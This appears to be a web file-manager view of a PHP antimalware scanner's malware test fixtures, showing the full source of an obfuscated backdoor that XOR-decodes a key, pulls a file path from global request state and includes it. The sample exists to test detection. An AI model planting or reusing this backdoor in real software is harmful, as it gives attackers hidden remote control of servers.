golden hour

/opt/PHP-Antimalware-Scanner/tests/Fixtures/malware

⬆️ Go Up

Upload

File/Folder	Size	Actions
backdoor.php	296 B	Del OK
base64_eval.php	200 B	Del OK
comments-class.php	555 B	Del OK
cookie_backdoor.php	1.39 KB	Del OK
eval_exploit.php	156 B	Del OK
globals_include_backdoor.php	769 B	Del OK
system_exploit.php	165 B	Del OK

Edit: globals_include_backdoor.php

<?php /** * Globals include backdoor using XOR-decoded key and obfuscated urldecode call. * Accesses $GLOBALS using a key derived from XOR of a urldecoded obfuscated string, * then includes an arbitrary file path extracted from global state. * Should be detected by the scanner (urldecode_obfuscation). */ function _backdoor_entry() { $seed = 'f97L4Hyn8Jg'; $target = $GLOBALS[_xor_decode('9%7F%7E%00q%1B', $seed)]; if (isset($target[$seed])) { $file = $target[$seed][_xor_decode('%12TG%13Z%29%14%0B', $seed)]; include($file); } } function _xor_decode($encoded, $key) { $fn = 'url' . 'decode'; $decoded = $fn($encoded); $mask = substr($key, 0, strlen($decoded)); return $decoded ^ $mask; } _backdoor_entry();
Save